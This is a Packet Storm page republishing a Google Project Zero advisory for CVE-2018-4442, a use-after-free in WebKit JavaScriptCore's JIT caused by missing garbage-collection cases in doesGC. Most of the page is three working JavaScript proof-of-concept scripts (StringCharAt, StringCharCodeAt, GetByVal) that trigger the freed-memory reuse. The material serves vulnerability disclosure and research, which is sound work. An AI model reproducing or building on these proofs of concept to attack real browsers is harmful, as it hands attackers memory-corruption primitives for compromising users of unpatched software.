exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit JSC JIT Use-After-Free

WebKit JSC JIT Use-After-Free
Posted Jan 16, 2019
Authored by Google Security Research, lokihardt

The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it is missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to a use-after-free condition.

tags | exploit
advisories | CVE-2018-4442
SHA-256 | bc8f411013dffe95aeaebd8e26ff3d39ee578b4902d99f8e61e2efdb6d784584

WebKit JSC JIT Use-After-Free

Change Mirror Download
WebKit: JSC: JIT: GetIndexedPropertyStorage can GC 

CVE-2018-4442


The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC 1 - StringCharAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0].charAt(0);
arr[1].charAt(0);
arr[2].charAt(0);
arr[3].charAt(0);
arr[4].charAt(0);
arr[5].charAt(0);
arr[6].charAt(0);
arr[7].charAt(0);
arr[8].charAt(0);
arr[8].charAt(0);
arr[9].charAt(0);

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

PoC 2 - StringCharCodeAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0].charCodeAt(0);
arr[1].charCodeAt(0);
arr[2].charCodeAt(0);
arr[3].charCodeAt(0);
arr[4].charCodeAt(0);
arr[5].charCodeAt(0);
arr[6].charCodeAt(0);
arr[7].charCodeAt(0);
arr[8].charCodeAt(0);
arr[8].charCodeAt(0);
arr[9].charCodeAt(0);

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

PoC 3 - GetByVal:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0][0];
arr[1][0];
arr[2][0];
arr[3][0];
arr[4][0];
arr[5][0];
arr[6][0];
arr[7][0];
arr[8][0];
arr[8][0];
arr[9][0];

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close